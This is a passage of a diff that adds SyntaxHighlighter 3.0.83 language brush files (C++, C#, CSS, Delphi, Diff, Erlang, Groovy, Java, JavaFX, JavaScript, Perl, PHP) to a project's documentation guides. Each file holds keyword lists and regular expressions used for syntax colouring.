+						'rename rewind scanf setbuf setvbuf sprintf sscanf tmpfile tmpnam ' +
+						'ungetc vfprintf vprintf vsprintf abort abs atexit atof atoi atol ' +
+						'bsearch calloc div exit free getenv labs ldiv malloc mblen mbstowcs ' +
+						'mbtowc qsort rand realloc srand strtod strtol strtoul system ' +
+						'wcstombs wctomb memchr memcmp memcpy memmove memset strcat strchr ' +
+						'strcmp strcoll strcpy strcspn strerror strlen strncat strncmp ' +
+						'strncpy strpbrk strrchr strspn strstr strtok strxfrm asctime ' +
+						'clock ctime difftime gmtime localtime mktime strftime time';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },			// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },			// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },			// strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },			// strings
+			{ regex: /^ *#.*/gm,										css: 'preprocessor' },
+			{ regex: new RegExp(this.getKeywords(datatypes), 'gm'),		css: 'color1 bold' },
+			{ regex: new RegExp(this.getKeywords(functions), 'gm'),		css: 'functions bold' },
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword bold' }
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['cpp', 'c'];
+
+	SyntaxHighlighter.brushes.Cpp = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushCSharp.js
@@ -0,0 +1,65 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'abstract as base bool break byte case catch char checked class const ' +
+						'continue decimal default delegate do double else enum event explicit ' +
+						'extern false finally fixed float for foreach get goto if implicit in int ' +
+						'interface internal is lock long namespace new null object operator out ' +
+						'override params private protected public readonly ref return sbyte sealed set ' +
+						'short sizeof stackalloc static string struct switch this throw true try ' +
+						'typeof uint ulong unchecked unsafe ushort using virtual void while';
+
+		function fixComments(match, regexInfo)
+		{
+			var css = (match[0].indexOf("///") == 0)
+				? 'color1'
+				: 'comments'
+				;
+			
+			return [new SyntaxHighlighter.Match(match[0], match.index, css)];
+		}
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	func : fixComments },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },			// multiline comments
+			{ regex: /@"(?:[^"]|"")*"/g,								css: 'string' },			// @-quoted strings
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },			// strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },			// strings
+			{ regex: /^\s*#.*/gm,										css: 'preprocessor' },		// preprocessor tags like #region and #endregion
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' },			// c# keyword
+			{ regex: /\bpartial(?=\s+(?:class|interface|struct)\b)/g,	css: 'keyword' },			// contextual keyword: 'partial'
+			{ regex: /\byield(?=\s+(?:return|break)\b)/g,				css: 'keyword' }			// contextual keyword: 'yield'
+			];
+		
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['c#', 'c-sharp', 'csharp'];
+
+	SyntaxHighlighter.brushes.CSharp = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
+
doc/guides/javascripts/syntaxhighlighter/shBrushCss.js
@@ -0,0 +1,91 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		function getKeywordsCSS(str)
+		{
+			return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b';
+		};
+	
+		function getValuesCSS(str)
+		{
+			return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b';
+		};
+
+		var keywords =	'ascent azimuth background-attachment background-color background-image background-position ' +
+						'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' +
+						'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' +
+						'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' +
+						'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' +
+						'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' +
+						'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' +
+						'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' +
+						'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' +
+						'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' +
+						'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' +
+						'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' +
+						'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' +
+						'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index';
+
+		var values =	'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+
+						'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+
+						'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero default digits disc dotted double '+
+						'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+
+						'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+
+						'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+
+						'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+
+						'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+
+						'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+
+						'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+
+						'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+
+						'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+
+						'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+
+						'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow';
+
+		var fonts =		'[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif';
+	
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },	// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },	// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },	// single quoted strings
+			{ regex: /\#[a-fA-F0-9]{3,6}/g,								css: 'value' },		// html colors
+			{ regex: /(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)/g,				css: 'value' },		// sizes
+			{ regex: /!important/g,										css: 'color3' },	// !important
+			{ regex: new RegExp(getKeywordsCSS(keywords), 'gm'),		css: 'keyword' },	// keywords
+			{ regex: new RegExp(getValuesCSS(values), 'g'),				css: 'value' },		// values
+			{ regex: new RegExp(this.getKeywords(fonts), 'g'),			css: 'color1' }		// fonts
+			];
+
+		this.forHtmlScript({ 
+			left: /(&lt;|<)\s*style.*?(&gt;|>)/gi, 
+			right: /(&lt;|<)\/\s*style\s*(&gt;|>)/gi 
+			});
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['css'];
+
+	SyntaxHighlighter.brushes.CSS = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushDelphi.js
@@ -0,0 +1,55 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'abs addr and ansichar ansistring array as asm begin boolean byte cardinal ' +
+						'case char class comp const constructor currency destructor div do double ' +
+						'downto else end except exports extended false file finalization finally ' +
+						'for function goto if implementation in inherited int64 initialization ' +
+						'integer interface is label library longint longword mod nil not object ' +
+						'of on or packed pansichar pansistring pchar pcurrency pdatetime pextended ' +
+						'pint64 pointer private procedure program property pshortstring pstring ' +
+						'pvariant pwidechar pwidestring protected public published raise real real48 ' +
+						'record repeat set shl shortint shortstring shr single smallint string then ' +
+						'threadvar to true try type unit until uses val var varirnt while widechar ' +
+						'widestring with word write writeln xor';
+
+		this.regexList = [
+			{ regex: /\(\*[\s\S]*?\*\)/gm,								css: 'comments' },  	// multiline comments (* *)
+			{ regex: /{(?!\$)[\s\S]*?}/gm,								css: 'comments' },  	// multiline comments { }
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },  	// one line
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },		// strings
+			{ regex: /\{\$[a-zA-Z]+ .+\}/g,								css: 'color1' },		// compiler Directives and Region tags
+			{ regex: /\b[\d\.]+\b/g,									css: 'value' },			// numbers 12345
+			{ regex: /\$[a-zA-Z0-9]+\b/g,								css: 'value' },			// numbers $F5D3
+			{ regex: new RegExp(this.getKeywords(keywords), 'gmi'),		css: 'keyword' }		// keyword
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['delphi', 'pascal', 'pas'];
+
+	SyntaxHighlighter.brushes.Delphi = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushDiff.js
@@ -0,0 +1,41 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		this.regexList = [
+			{ regex: /^\+\+\+.*$/gm,		css: 'color2' },
+			{ regex: /^\-\-\-.*$/gm,		css: 'color2' },
+			{ regex: /^\s.*$/gm,			css: 'color1' },
+			{ regex: /^@@.*@@$/gm,			css: 'variable' },
+			{ regex: /^\+[^\+]{1}.*$/gm,	css: 'string' },
+			{ regex: /^\-[^\-]{1}.*$/gm,	css: 'comments' }
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['diff', 'patch'];
+
+	SyntaxHighlighter.brushes.Diff = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushErlang.js
@@ -0,0 +1,52 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Jean-Lou Dupont
+		// http://jldupont.blogspot.com/2009/06/erlang-syntax-highlighter.html  
+
+		// According to: http://erlang.org/doc/reference_manual/introduction.html#1.5
+		var keywords = 'after and andalso band begin bnot bor bsl bsr bxor '+
+			'case catch cond div end fun if let not of or orelse '+
+			'query receive rem try when xor'+
+			// additional
+			' module export import define';
+
+		this.regexList = [
+			{ regex: new RegExp("[A-Z][A-Za-z0-9_]+", 'g'), 			css: 'constants' },
+			{ regex: new RegExp("\\%.+", 'gm'), 						css: 'comments' },
+			{ regex: new RegExp("\\?[A-Za-z0-9_]+", 'g'), 				css: 'preprocessor' },
+			{ regex: new RegExp("[a-z0-9_]+:[a-z0-9_]+", 'g'), 			css: 'functions' },
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },
+			{ regex: new RegExp(this.getKeywords(keywords),	'gm'),		css: 'keyword' }
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['erl', 'erlang'];
+
+	SyntaxHighlighter.brushes.Erland = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushGroovy.js
@@ -0,0 +1,67 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Andres Almiray
+		// http://jroller.com/aalmiray/entry/nice_source_code_syntax_highlighter
+
+		var keywords =	'as assert break case catch class continue def default do else extends finally ' +
+						'if in implements import instanceof interface new package property return switch ' +
+						'throw throws try while public protected private static';
+		var types    =  'void boolean byte char short int long float double';
+		var constants = 'null';
+		var methods   = 'allProperties count get size '+
+						'collect each eachProperty eachPropertyName eachWithIndex find findAll ' +
+						'findIndexOf grep inject max min reverseEach sort ' +
+						'asImmutable asSynchronized flatten intersect join pop reverse subMap toList ' +
+						'padRight padLeft contains eachMatch toCharacter toLong toUrl tokenize ' +
+						'eachFile eachFileRecurse eachB yte eachLine readBytes readLine getText ' +
+						'splitEachLine withReader append encodeBase64 decodeBase64 filterLine ' +
+						'transformChar transformLine withOutputStream withPrintWriter withStream ' +
+						'withStreams withWriter withWriterAppend write writeLine '+
+						'dump inspect invokeMethod print println step times upto use waitForOrKill '+
+						'getText';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,				css: 'comments' },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,					css: 'comments' },		// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,					css: 'string' },		// strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,					css: 'string' },		// strings
+			{ regex: /""".*"""/g,													css: 'string' },		// GStrings
+			{ regex: new RegExp('\\b([\\d]+(\\.[\\d]+)?|0x[a-f0-9]+)\\b', 'gi'),	css: 'value' },			// numbers
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),					css: 'keyword' },		// goovy keyword
+			{ regex: new RegExp(this.getKeywords(types), 'gm'),						css: 'color1' },		// goovy/java type
+			{ regex: new RegExp(this.getKeywords(constants), 'gm'),					css: 'constants' },		// constants
+			{ regex: new RegExp(this.getKeywords(methods), 'gm'),					css: 'functions' }		// methods
+			];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['groovy'];
+
+	SyntaxHighlighter.brushes.Groovy = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushJava.js
@@ -0,0 +1,57 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'abstract assert boolean break byte case catch char class const ' +
+						'continue default do double else enum extends ' +
+						'false final finally float for goto if implements import ' +
+						'instanceof int interface long native new null ' +
+						'package private protected public return ' +
+						'short static strictfp super switch synchronized this throw throws true ' +
+						'transient try void volatile while';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },		// one line comments
+			{ regex: /\/\*([^\*][\s\S]*)?\*\//gm,						css: 'comments' },	 	// multiline comments
+			{ regex: /\/\*(?!\*\/)\*[\s\S]*?\*\//gm,					css: 'preprocessor' },	// documentation comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },		// strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },		// strings
+			{ regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi,				css: 'value' },			// numbers
+			{ regex: /(?!\@interface\b)\@[\$\w]+\b/g,					css: 'color1' },		// annotation @anno
+			{ regex: /\@interface\b/g,									css: 'color2' },		// @interface keyword
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' }		// java keyword
+			];
+
+		this.forHtmlScript({
+			left	: /(&lt;|<)%[@!=]?/g, 
+			right	: /%(&gt;|>)/g 
+		});
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['java'];
+
+	SyntaxHighlighter.brushes.Java = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushJavaFX.js
@@ -0,0 +1,58 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Patrick Webster
+		// http://patrickwebster.blogspot.com/2009/04/javafx-brush-for-syntaxhighlighter.html
+		var datatypes =	'Boolean Byte Character Double Duration '
+						+ 'Float Integer Long Number Short String Void'
+						;
+
+		var keywords = 'abstract after and as assert at before bind bound break catch class '
+						+ 'continue def delete else exclusive extends false finally first for from '
+						+ 'function if import in indexof init insert instanceof into inverse last '
+						+ 'lazy mixin mod nativearray new not null on or override package postinit '
+						+ 'protected public public-init public-read replace return reverse sizeof '
+						+ 'step super then this throw true try tween typeof var where while with '
+						+ 'attribute let private readonly static trigger'
+						;
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },
+			{ regex: /(-?\.?)(\b(\d*\.?\d+|\d+\.?\d*)(e[+-]?\d+)?|0x[a-f\d]+)\b\.?/gi, css: 'color2' },	// numbers
+			{ regex: new RegExp(this.getKeywords(datatypes), 'gm'),		css: 'variable' },	// datatypes
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' }
+		];
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['jfx', 'javafx'];
+
+	SyntaxHighlighter.brushes.JavaFX = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushJScript.js
@@ -0,0 +1,52 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'break case catch continue ' +
+						'default delete do else false  ' +
+						'for function if in instanceof ' +
+						'new null return super switch ' +
+						'this throw true try typeof var while with'
+						;
+
+		var r = SyntaxHighlighter.regexLib;
+		
+		this.regexList = [
+			{ regex: r.multiLineDoubleQuotedString,					css: 'string' },			// double quoted strings
+			{ regex: r.multiLineSingleQuotedString,					css: 'string' },			// single quoted strings
+			{ regex: r.singleLineCComments,							css: 'comments' },			// one line comments
+			{ regex: r.multiLineCComments,							css: 'comments' },			// multiline comments
+			{ regex: /\s*#.*/gm,									css: 'preprocessor' },		// preprocessor tags like #region and #endregion
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),	css: 'keyword' }			// keywords
+			];
+	
+		this.forHtmlScript(r.scriptScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['js', 'jscript', 'javascript'];
+
+	SyntaxHighlighter.brushes.JScript = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushPerl.js
@@ -0,0 +1,72 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by David Simmons-Duffin and Marty Kube
+	
+		var funcs = 
+			'abs accept alarm atan2 bind binmode chdir chmod chomp chop chown chr ' + 
+			'chroot close closedir connect cos crypt defined delete each endgrent ' + 
+			'endhostent endnetent endprotoent endpwent endservent eof exec exists ' + 
+			'exp fcntl fileno flock fork format formline getc getgrent getgrgid ' + 
+			'getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr ' + 
+			'getnetbyname getnetent getpeername getpgrp getppid getpriority ' + 
+			'getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid ' + 
+			'getservbyname getservbyport getservent getsockname getsockopt glob ' + 
+			'gmtime grep hex index int ioctl join keys kill lc lcfirst length link ' + 
+			'listen localtime lock log lstat map mkdir msgctl msgget msgrcv msgsnd ' + 
+			'oct open opendir ord pack pipe pop pos print printf prototype push ' + 
+			'quotemeta rand read readdir readline readlink readpipe recv rename ' + 
+			'reset reverse rewinddir rindex rmdir scalar seek seekdir select semctl ' + 
+			'semget semop send setgrent sethostent setnetent setpgrp setpriority ' + 
+			'setprotoent setpwent setservent setsockopt shift shmctl shmget shmread ' + 
+			'shmwrite shutdown sin sleep socket socketpair sort splice split sprintf ' + 
+			'sqrt srand stat study substr symlink syscall sysopen sysread sysseek ' + 
+			'system syswrite tell telldir time times tr truncate uc ucfirst umask ' + 
+			'undef unlink unpack unshift utime values vec wait waitpid warn write';
+    
+		var keywords =  
+			'bless caller continue dbmclose dbmopen die do dump else elsif eval exit ' +
+			'for foreach goto if import last local my next no our package redo ref ' + 
+			'require return sub tie tied unless untie until use wantarray while';
+    
+		this.regexList = [
+			{ regex: new RegExp('#[^!].*$', 'gm'),					css: 'comments' },
+			{ regex: new RegExp('^\\s*#!.*$', 'gm'),				css: 'preprocessor' }, // shebang
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,	css: 'string' },
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,	css: 'string' },
+			{ regex: new RegExp('(\\$|@|%)\\w+', 'g'),				css: 'variable' },
+			{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),	css: 'functions' },
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),	css: 'keyword' }
+		    ];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags);
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases		= ['perl', 'Perl', 'pl'];
+
+	SyntaxHighlighter.brushes.Perl = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushPhp.js
@@ -0,0 +1,88 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var funcs	=	'abs acos acosh addcslashes addslashes ' +
+						'array_change_key_case array_chunk array_combine array_count_values array_diff '+
+						'array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill '+
+						'array_filter array_flip array_intersect array_intersect_assoc array_intersect_key '+
+						'array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map '+
+						'array_merge array_merge_recursive array_multisort array_pad array_pop array_product '+
+						'array_push array_rand array_reduce array_reverse array_search array_shift '+
+						'array_slice array_splice array_sum array_udiff array_udiff_assoc '+
+						'array_udiff_uassoc array_uintersect array_uintersect_assoc '+
+						'array_uintersect_uassoc array_unique array_unshift array_values array_walk '+
+						'array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert '+
+						'basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress '+
+						'bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir '+
+						'checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists '+
+						'closedir closelog copy cos cosh count count_chars date decbin dechex decoct '+
+						'deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log '+
+						'error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded '+
+						'feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents '+
+						'fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype '+
+						'floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf '+
+						'fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname '+
+						'gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt '+
+						'getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext '+
